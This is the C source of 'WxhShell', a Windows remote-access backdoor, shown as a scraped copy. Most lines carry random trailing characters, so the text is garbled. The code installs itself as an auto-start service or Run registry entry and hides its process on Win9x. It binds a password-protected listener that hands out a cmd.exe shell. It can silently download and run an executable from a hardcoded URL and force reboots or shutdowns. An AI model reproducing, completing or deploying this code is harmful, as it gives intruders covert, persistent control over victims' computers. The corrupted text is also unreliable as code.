    if(Boot(SHUTDOWN)) n7fhc*}:`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EL`|>/[J  
    else { -*' ?D@l  
    closesocket(wsh); BQ0?B*yqd  
    ExitThread(0); MvpJ0Y (  
    } zuLW'a6F-  
    break; Nu6NyYs  
    } d5l42^Z  
  // 获取shell GK}52,NM  
  case 's': { d <}'eBT'  
    CmdShell(wsh); =\< 7+nv  
    closesocket(wsh); +a!3*G@N+  
    ExitThread(0);  Lto*L X  
    break; Ei_ ~ K';  
  } t,7%| {  
  // 退出 ~o!- [  
  case 'x': { wtek5C^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 309 pl  
    CloseIt(wsh); s$Y>nH~T  
    break; P~trxp=k  
    } _p*9LsN$L  
  // 离开 KQPu9f9  
  case 'q': { ~(V\.hq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T'5{p  
    closesocket(wsh); h9Far8}  
    WSACleanup(); r !Aj5  
    exit(1); U=G49 ~E  
    break; 5?-HQoT)G  
        } x]c8?H9,&  
  } _= v4Iz0  
  } {]Zan'{PCO  
V.*TOU{{xh  
  // 提示信息 u(f   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :.x(( FU  
} J9mK9{#q  
  } 0#]fEi  
|C4fg6XDL  
  return; ~qgh w@Q~  
} H3rA ?F#+*  
e"04jd/  
// shell模块句柄 x0<;Rm [u=  
int CmdShell(SOCKET sock) !vwio!  
{ &ys>z<Z  
STARTUPINFO si; aoN\n]g  
ZeroMemory(&si,sizeof(si)); ,clbD4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nONuw;K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rt+4-WuK>  
PROCESS_INFORMATION ProcessInfo; P=n_wE  
char cmdline[]="cmd"; 59Pc:Gg;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^@^8iZ  
  return 0; Pm/<^z%  
} RCR= W6  
60+zoL'  
// 自身启动模式 A%8 Q}s$<s  
int StartFromService(void) M/<ypJ  
{ & &}_[{fc  
typedef struct wp?:@XM  
{ V+`kB3GV  
  DWORD ExitStatus; W[&nQW$E  
  DWORD PebBaseAddress; Cf[tNq  
  DWORD AffinityMask; ?Q]&;5o  
  DWORD BasePriority; |A3"Jc.2o  
  ULONG UniqueProcessId; ahl|N`  
  ULONG InheritedFromUniqueProcessId; 0>|q[SC  
}   PROCESS_BASIC_INFORMATION; O\=Z;}<N  
=z# trQ{  
PROCNTQSIP NtQueryInformationProcess; agUdI_'~@9  
 ew1L+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |=}+%>y_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E22o-nI?1  
lM\dK)p21O  
  HANDLE             hProcess; :4{ `c.S  
  PROCESS_BASIC_INFORMATION pbi; I*-\u  
 kORWj<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { I{ 0rV  
  if(NULL == hInst ) return 0; H:(B^uH  
TQn!MUj/^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \tgY2 :  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + f6LG 0q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Al yJ!f"Y  
\lK?f]qJq  
  if (!NtQueryInformationProcess) return 0; B /;(#{U;  
6(E4l5 %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1GN^ui a7  
  if(!hProcess) return 0; (pELd(*Ga  
li*S^uSF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ) 9Q+07  
s\d3u`G  
  CloseHandle(hProcess); I=L[ "]  
mlByE,S2E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SWdmej[  
if(hProcess==NULL) return 0; ?xaUWD  
#4AU&UM+i  
HMODULE hMod; F+*E}QpM  
char procName[255]; oywPPVxj  
unsigned long cbNeeded; ,3?=W/Um4  
 hlVC+%8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "==c  
*9n[ #2sM<  
  CloseHandle(hProcess); xC< )]  
W1)SgiXnuy  
if(strstr(procName,"services")) return 1; // 以服务启动 le5@WG/x  
g+o$&'\  
  return 0; // 注册表启动 0eO!,/  
} UA.Tp[u  
^$oa`B^2JM  
// 主模块 nDn+lWA=g  
int StartWxhshell(LPSTR lpCmdLine) 7T[L5-g  
{ ,i*rHMe  
  SOCKET wsl; `6rLd>=R  
BOOL val=TRUE; Cx;it/8+  
  int port=0; HP*)^`6X  
  struct sockaddr_in door; 4s m [y8  
-(57C*#ap  
  if(wscfg.ws_autoins) Install(); ^fKKsfIf  
U,b80%k:  
port=atoi(lpCmdLine); VsA_x  
K14.!m  
if(port<=0) port=wscfg.ws_port; U$D:gZ  
4"PA7 e  
  WSADATA data; t_^cqEr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +!@xH];  
tic3a1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G,A?yM'Vw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~JZLWTEe  
  door.sin_family = AF_INET; ]oix))'n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !T`g\za/  
  door.sin_port = htons(port); + o< 7*  
[]\-*{^r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tQj=m_  
closesocket(wsl); |vi=h2*  
return 1; 1q'_J?Xmd  
} '1!%yKc0  
CEk [&39"  
  if(listen(wsl,2) == INVALID_SOCKET) { U;&s=M0[  
closesocket(wsl); qUe2(/TQu  
return 1; P,S!Z&!  
} j.Y!E<e4]  
  Wxhshell(wsl); ^N}{M$  
  WSACleanup(); /L,iF?7  
fpNq  
return 0; BI2'NN\  
k;umLyz  
} 6wiuNGZb  
0Q%I[f8  
// 以NT服务方式启动 #;2mP6a[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Lt3^MKa"  
{ ;).QhHeg>  
DWORD   status = 0; 9MRe?  
  DWORD   specificError = 0xfffffff; #r&yH^-  
^-# :T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p<a~L~xH6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i/N68  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .:['&; k  
  serviceStatus.dwWin32ExitCode     = 0; <Dnv=)Rq  
  serviceStatus.dwServiceSpecificExitCode = 0; bxz6 >>  
  serviceStatus.dwCheckPoint       = 0; {flxZ}  
  serviceStatus.dwWaitHint       = 0; D//Ts`}+n  
&)Wm rF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D>#Jh>4  
  if (hServiceStatusHandle==0) return; mnMY)-6C  
"'8o8g  
status = GetLastError(); UJX5}36  
  if (status!=NO_ERROR) Qa16x<Xlm  
{ kZ_5R#xK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q|;+Wp?  
    serviceStatus.dwCheckPoint       = 0; d~d~Cd`V  
    serviceStatus.dwWaitHint       = 0; ZONe}tv:  
    serviceStatus.dwWin32ExitCode     = status; 'UCF2 L  
    serviceStatus.dwServiceSpecificExitCode = specificError; yw?UA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YKj P E  
    return; $uNYus^vS  
  } rFv=j :8  
-/qu."9(B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \h/aD1 &g  
  serviceStatus.dwCheckPoint       = 0; x:Tm4V{  
  serviceStatus.dwWaitHint       = 0; 2ap0/l[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l3/?,xn  
} oY%NDTVN  
Jo ]8?U(^  
// 处理NT服务事件,比如:启动、停止 _q\w9gN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 78+PG(Q_M  
{ Q[F$6m%o  
switch(fdwControl) zw X 1&rN  
{ w0t||qj^>"  
case SERVICE_CONTROL_STOP: B8G1 #V_jK  
  serviceStatus.dwWin32ExitCode = 0; mm<rdo(`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sz b],)|18  
  serviceStatus.dwCheckPoint   = 0; 4~{q=-]V  
  serviceStatus.dwWaitHint     = 0; A =k{Rl{LA  
  { 3>sA_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hI 1 }^;  
  } |4FvP R [  
  return; *FUbKr0  
case SERVICE_CONTROL_PAUSE: aV8]?E5G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bjJ212J  
  break; <yrl_vl{  
case SERVICE_CONTROL_CONTINUE: '%9e8C|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }" 'l8t0?  
  break; {*PB+WGe  
case SERVICE_CONTROL_INTERROGATE: 6d3-GMUQ  
  break; X}3o  
}; oW/ #/;|`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pEE.%U  
} 2V#(1Hc!  
p[%FH?  
// 标准应用程序主函数 [& &9F};  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P\CT|K'P  
{ dAcy;-[[P  
"h}miVArS  
// 获取操作系统版本 vJfex,#lv  
OsIsNt=GetOsVer(); J;g+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )W/ mt[;  
V"@]PI pr  
  // 从命令行安装 oUBn:Ir@  
  if(strpbrk(lpCmdLine,"iI")) Install(); M1T)e9k=x  
3 tp'}v  
  // 下载执行文件 T/&4lJ^2l^  
if(wscfg.ws_downexe) { v5GV"qY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9IC|2w66  
  WinExec(wscfg.ws_filenam,SW_HIDE); v9OK <  
} h>+,ba"D  
0xM\+R~,  
if(!OsIsNt) { 0"L_0 t:  
// 如果时win9x,隐藏进程并且设置为注册表启动 #}W^d^-5t5  
HideProc(); =X11x)]F9  
StartWxhshell(lpCmdLine); Rs cU=oaKi  
} 0)'^vJe  
else IPoNAi<b  
  if(StartFromService()) QuJ)WaJkC  
  // 以服务方式启动 O?9&6x   
  StartServiceCtrlDispatcher(DispatchTable); {\L /?#  
else ZLJfSnB  
  // 普通方式启动 4` gAluJ#  
  StartWxhshell(lpCmdLine); *s9 +  
s^b2H !~  
return 0; /gKX%`ZF/r  
} !(soMv  
["\Y-6"l  
iii2nmiK  
Y\ len  
=========================================== bCF"4KXK  
[g:ZIl4p\P  
q]Cmaf(  
@<tkwu  
mRw &^7r  
h$FpH\-  
" fKMbOqU_  
VSCOuNSc  
#include <stdio.h> nTweQ  
#include <string.h> #s)Wzv%OX  
#include <windows.h> Wej8YF@  
#include <winsock2.h> T,,,+gPx  
#include <winsvc.h> gD0 FRKn  
#include <urlmon.h> ;aip1Df  
d([NU;  
#pragma comment (lib, "Ws2_32.lib") X9#;quco@  
#pragma comment (lib, "urlmon.lib") s HSZIkB-r  
{mK=Vig  
#define MAX_USER   100 // 最大客户端连接数 ~1Q$FgLk  
#define BUF_SOCK   200 // sock buffer Lc!% 3,#.  
#define KEY_BUFF   255 // 输入 buffer |>(;gr/5(  
jX79Nm|  
#define REBOOT     0   // 重启  `k/hC  
#define SHUTDOWN   1   // 关机 YT6<1-E#  
+v3@WdLcD  
#define DEF_PORT   5000 // 监听端口 :e 5)Q=lX  
#=@( m.k:s  
#define REG_LEN     16   // 注册表键长度 C&b^TLe  
#define SVC_LEN     80   // NT服务名长度 ika/ GG  
~*9 vn Z@  
// 从dll定义API v_PhJKE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8o-*s+EY"&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {1.t ZCMT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i w<2|]>l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o[W7'1O  
vd>X4e ^j  
// wxhshell配置信息 ]?p&sI4  
struct WSCFG { G%w hOIFRq  
  int ws_port;         // 监听端口 w%&lCu@v  
  char ws_passstr[REG_LEN]; // 口令 _Kg:jal  
  int ws_autoins;       // 安装标记, 1=yes 0=no mr]IxTv  
  char ws_regname[REG_LEN]; // 注册表键名 ({g7{tUy^H  
  char ws_svcname[REG_LEN]; // 服务名 \e64Us>"x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 00 Qn1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p=vu<xXtD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FWv-_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )>$@cH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UGK4uK+I`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <taN3  
j'#M'W3@  
}; FOxMt;|M  
sHx>UvN6  
// default Wxhshell configuration gf()NfUvRH  
struct WSCFG wscfg={DEF_PORT, )54;YK  
    "xuhuanlingzhe", 7{ zkqug  
    1, h=uwOi6}  
    "Wxhshell", 8jW"8~Y#0  
    "Wxhshell", sf\p>gb  
            "WxhShell Service", Q%6 1_l  
    "Wrsky Windows CmdShell Service", Z&gM7Zo8  
    "Please Input Your Password: ", '`$z!rA  
  1, vs-%J 6}G  
  "http://www.wrsky.com/wxhshell.exe", e)kN%JqW  
  "Wxhshell.exe" zrWkz3FN  
    }; 4viP lO  
;*K@8GnU  
// 消息定义模块 >6ul\xMU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &L[oQni];2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x#ub % t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JX%B_eUlAs  
char *msg_ws_ext="\n\rExit."; {//;GC*  
char *msg_ws_end="\n\rQuit."; >CtT_yhx  
char *msg_ws_boot="\n\rReboot..."; $Fx:w  
char *msg_ws_poff="\n\rShutdown..."; / 4P+  
char *msg_ws_down="\n\rSave to "; -F.A1{l[.  
S&]AIG)  
char *msg_ws_err="\n\rErr!"; xxWrSl`fB  
char *msg_ws_ok="\n\rOK!"; 69#D,ME?  
34ij5bko_)  
char ExeFile[MAX_PATH]; >\=~2>FCD  
int nUser = 0; W`HO Q  
HANDLE handles[MAX_USER]; jiS|ara"  
int OsIsNt; Id`?yt  
jb~2f2vUa  
SERVICE_STATUS       serviceStatus; XRi/O)98o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "/ G^+u  
Hgs=qH  
// 函数声明 > <cK  
int Install(void); ].Mr&@  
int Uninstall(void);  X$:r  
int DownloadFile(char *sURL, SOCKET wsh); ?M'_L']N[  
int Boot(int flag); t[Dg)adc  
void HideProc(void); cR.[4rG'  
int GetOsVer(void); `uRf*-   
int Wxhshell(SOCKET wsl); OnGtIY  
void TalkWithClient(void *cs); ub^v ,S8O  
int CmdShell(SOCKET sock); ="fq.Tt  
int StartFromService(void); )U4h?J  
int StartWxhshell(LPSTR lpCmdLine); Z Z1s}TG  
'^Kmfc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HD"Pz}k4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4 qdLH^dX  
;DWtCtD  
// 数据结构和表定义 Of| e]GR  
SERVICE_TABLE_ENTRY DispatchTable[] = =*f>vrme  
{ >?b<)Q*<  
{wscfg.ws_svcname, NTServiceMain}, Efo,5  
{NULL, NULL} 2I!STP{!l  
}; wm@ />X  
Jz(!eTVs  
// 自我安装 C^Jf&a  
int Install(void) EA )28]Y.  
{ " bHeNWZ  
  char svExeFile[MAX_PATH]; <.c@l,[.z  
  HKEY key; \VW&z:/*pZ  
  strcpy(svExeFile,ExeFile); 8 jom)a  
>AcpJ|V  
// 如果是win9x系统,修改注册表设为自启动 I"*;fdm  
if(!OsIsNt) { {bF95Hs-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B Z:H$v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G$\2@RT9[  
  RegCloseKey(key); IbRy~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <,S0C\la=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pa0'\  
  RegCloseKey(key);  .*H0{  
  return 0; :P$I;YY=A  
    } I+ipTeB^  
  } j[/'`1tOe  
} kqYvd]ss  
else { Nkfu k  
s^_E'j$  
// 如果是NT以上系统,安装为系统服务 F\. n42Tz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gmcx#?|Tx  
if (schSCManager!=0) &lYKi3}x  
{ Yuy7TeJRx  
  SC_HANDLE schService = CreateService ^ K8JE,  
  ( H~~I6D{8  
  schSCManager, @Kri)U i  
  wscfg.ws_svcname, 5G8`zy  
  wscfg.ws_svcdisp, v |/IN  
  SERVICE_ALL_ACCESS, ZIAiVq2)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HF-Msu6  
  SERVICE_AUTO_START, NEQcEUd?  
  SERVICE_ERROR_NORMAL, D5X;hd  
  svExeFile, ki6`d?  
  NULL, \\jB@O  
  NULL, 6l#1E#]|  
  NULL, (^g?/i1@d  
  NULL, n<:/ X tE  
  NULL EmNB}\IYU  
  ); tkdhT8_  
  if (schService!=0) F2y M2Ldx  
  { 5Ah-aDBj  
  CloseServiceHandle(schService); =$5[uI2  
  CloseServiceHandle(schSCManager); ' U(v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S=lA^#'UdX  
  strcat(svExeFile,wscfg.ws_svcname); =y7]9SOq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G#'3bxI{f+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K@VXFV  
  RegCloseKey(key); Sm#;fx+  
  return 0; CGg:e:4  
    } B@*BcE?  
  } @.kv",[{[  
  CloseServiceHandle(schSCManager); |aN0|O2  
} CTtF=\  
} #I@]8U#,":  
.]ZM2  
return 1; p)ta c*US  
} k`js~/Xv  
5S7`gN.  
// 自我卸载 ,@!8jar@w}  
int Uninstall(void) MvY0?!v  
{ <E@ 7CG.=  
  HKEY key; Hi|2z5=V  
G"MpA[a_  
if(!OsIsNt) { 1s\10 hK1c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (uOW5,e7  
  RegDeleteValue(key,wscfg.ws_regname); 8<P$E!  
  RegCloseKey(key); RYE::[O7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YO!,m<b^u  
  RegDeleteValue(key,wscfg.ws_regname); U`6QD}c"s  
  RegCloseKey(key); kRiWNEw  
  return 0; z9HQFRbo[  
  } dGIu0\J\$  
} CR934TE+  
} ? z=>n  
else { jT: :o  
eiEZtu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xOT'4v&.  
if (schSCManager!=0) Ynz^M{9)K  
{ cYR6+PKua  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0*3 <}  
  if (schService!=0) 8.pz?{**T  
  { ?qO,=ms>-  
  if(DeleteService(schService)!=0) { 20?i4h_  
  CloseServiceHandle(schService); 5.?O PK6  
  CloseServiceHandle(schSCManager); 8@h zw~>  
  return 0; sTG+c E  
  } a+{g~/z;,Q  
  CloseServiceHandle(schService); >.{ ..~"K  
  } k 5"3*  
  CloseServiceHandle(schSCManager); TdKl`"Iy  
} @O45s\4-*  
} OM4s.BLY  
]`. d%Vx  
return 1; w|L~+   
} =R>Sxaq  
l*v([@A\  
// 从指定url下载文件 Z$ftG7;P0  
int DownloadFile(char *sURL, SOCKET wsh) #Ejly2C,  
{ Ep?a>\  
  HRESULT hr; "L8V!M_e  
char seps[]= "/"; v,D_^?]@  
char *token; (Wx)YI  
char *file; mlVv3mVyR<  
char myURL[MAX_PATH]; ]UgA z  
char myFILE[MAX_PATH]; }MIH{CMH  
VBH[aIW  
strcpy(myURL,sURL); ~HYP:6f  
  token=strtok(myURL,seps); . \d0lJSr  
  while(token!=NULL) QIV<!SO  
  { 1)YFEU&]  
    file=token; rmabm\QY  
  token=strtok(NULL,seps);  ]Ea7b  
  } #>- rKv.A  
D{loX6  
GetCurrentDirectory(MAX_PATH,myFILE); J,D{dYLDD  
strcat(myFILE, "\\"); q~w;C([k_  
strcat(myFILE, file); ?s?uoZ /2  
  send(wsh,myFILE,strlen(myFILE),0); eXOFAd]>u  
send(wsh,"...",3,0); 3?%kawO&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <>e<Xd:77{  
  if(hr==S_OK) W@ Z=1y  
return 0; #!5Nbe  
else e`~q ;?:  
return 1; ?+|tPjg $  
Bjo&  
} 0ay!tS dN  
f.f4<_v'h  
// 系统电源模块 5o3_x ~e  
int Boot(int flag) L|Ydd!m  
{ sN g"JQ  
  HANDLE hToken; ZH}NlEn  
  TOKEN_PRIVILEGES tkp; >WDpBn:  
gK<-*v  
  if(OsIsNt) { h4qR\LX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gU~)(|Nu.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); # _7c>gn  
    tkp.PrivilegeCount = 1; %nCUct@c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z<fEJN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2"MI8EK  
if(flag==REBOOT) { 8;'n.SC{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kp6x6%{K\  
  return 0; M[{Cy[ta  
} 7_3O]e[8  
else { "J.jmR;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kje+Niz7  
  return 0; -J30g\  
} FG H>;H@  
  } Jzdc'3dq  
  else { "n e'iJf_(  
if(flag==REBOOT) { G 6, 8Xwk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MYPcH\K$h  
  return 0; "pPNlV]UA^  
} w7D:0SGD  
else { 6,)y{/ENC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C IDL{i8  
  return 0; 4eEs_R  
} %OtW\T=u  
} =z/F=1^<  
D1n2Z :9  
return 1; 2|=_kN8;  
} kwL) &@  
kW~F*  
// win9x进程隐藏模块 ?c2TT Q  
void HideProc(void) B1M/5cr.  
{ FSmi.7  
]]Z,Qu#<-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kYs|")isj  
  if ( hKernel != NULL ) N93E;B  
  { qck/b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +B m+Pj>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @ 7?_Yw  
    FreeLibrary(hKernel); f UIs(}US  
  } KR}0(,Y  
'O`3FI  
return; 7&3URglsL"  
} nX~MoWH1  
@5y(>>C}8%  
// 获取操作系统版本 l0&8vhw8k  
int GetOsVer(void) 8joQPHkI\  
{ )ziQ=k6d6  
  OSVERSIONINFO winfo; nB5[]x'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *lK4yI*%o  
  GetVersionEx(&winfo); 752wK|o0|;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vdm?d/0(^  
  return 1; wB)+og-^1f  
  else 8UIL_nPO  
  return 0; =5ih,>>g  
} 4I-p/&Q  
//Gvk|O1  
// 客户端句柄模块 Oi0;.< kX  
int Wxhshell(SOCKET wsl) _@N)]!\MgP  
{ dM UDLr-  
  SOCKET wsh; `X='g96C1  
  struct sockaddr_in client; 7fay:_  
  DWORD myID; $vBU}~l7  
(L >[,YO9  
  while(nUser<MAX_USER) lX*;KHT)  
{ swlWe}1  
  int nSize=sizeof(client); ,}tdfkZFYl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o"FiM5L^.  
  if(wsh==INVALID_SOCKET) return 1; >bN~p  
<L~xR5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sAoM=n}!  
if(handles[nUser]==0) D5pF:~tQ(j  
  closesocket(wsh); `t1$Ew<  
else NVeRn  
  nUser++; FIjET1{  
  } 0s|LK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -;\+uV  
QYgN39gp  
  return 0; mi<D bnou  
} p'uz2/g  
$ rYS   
// 关闭 socket &=Zg0Q  
void CloseIt(SOCKET wsh) />Vx*^u8Hz  
{ } 4]<P  
closesocket(wsh); 3\n{,Q  
nUser--; 1fFb 7n~3  
ExitThread(0); S;Z3v)E-f  
} ,-3(^d\1F  
kI 3zYD^:  
// 客户端请求句柄 L~{Vt~H9"  
void TalkWithClient(void *cs) Qe$>Jv5  
{ E`fssd~  
r0deBRM  
  SOCKET wsh=(SOCKET)cs; aT!9W'uY  
  char pwd[SVC_LEN]; ?=!XhU .  
  char cmd[KEY_BUFF]; .w_`d'}  
char chr[1]; 5TneuGD  
int i,j; 1[BvHOI2  
g>xUS_d>  
  while (nUser < MAX_USER) { '$XHRS/q]  
`b")Bx|  
if(wscfg.ws_passstr) { b8Rh|"J)d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : W^\ mH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \TB%N1^  
  //ZeroMemory(pwd,KEY_BUFF); 5^K#Tj ;2  
      i=0; fq'Xy9L  
  while(i<SVC_LEN) { [4Faq3T"  
^D;D8A.  
  // 设置超时  6b]d|  
  fd_set FdRead; h ^h-pd  
  struct timeval TimeOut; GR ?u?-  
  FD_ZERO(&FdRead); n& m?BuG  
  FD_SET(wsh,&FdRead); (}X?v`Y^W  
  TimeOut.tv_sec=8; N>fYH.c3Y  
  TimeOut.tv_usec=0; Hu9R.[u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lF8 dRIav  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o,Zng4NY  
i!W8Q$V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S@xsAib0J  
  pwd=chr[0]; V$<G)dwUG5  
  if(chr[0]==0xd || chr[0]==0xa) { %?oU{KzQ@;  
  pwd=0; 0r-lb[n8i  
  break; I?Jii8|W9  
  } 6IY}SI0N  
  i++; 6L2*gO:r?  
    } NhK(HTsvK  
!)/iRw9re  
  // 如果是非法用户,关闭 socket [k~+(.2I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]Ec[")"kT  
} I0HY#z%  
!@Sf>DM"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r\n h.}s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VuMDV6^Z  
sRyw\v-=P  
while(1) { sIRrEea  
vvsNWA  
  ZeroMemory(cmd,KEY_BUFF); 6G<Hi"I  
Cre0e$ a  
      // 自动支持客户端 telnet标准   mU+FQX  
  j=0; oiv2rOFu  
  while(j<KEY_BUFF) { /GuS IZg"_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;2Ad])  
  cmd[j]=chr[0]; ju^"vw  
  if(chr[0]==0xa || chr[0]==0xd) { 5Vqmv<F;$Z  
  cmd[j]=0; *[xNp[4EU  
  break; 9j?hF$L"  
  } bj7MzlGFy  
  j++; ]EM)_:tRf  
    } +:"6`um|  
L.0} UXd  
  // 下载文件 :Q r7:$S^  
  if(strstr(cmd,"http://")) { P"=UI$HN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jh&~/ntmm_  
  if(DownloadFile(cmd,wsh)) L_~I ~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}R2J `7  
  else 9O=05CQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o ?va#/fk  
  } B) *#g  
  else { !HR2Rfl  
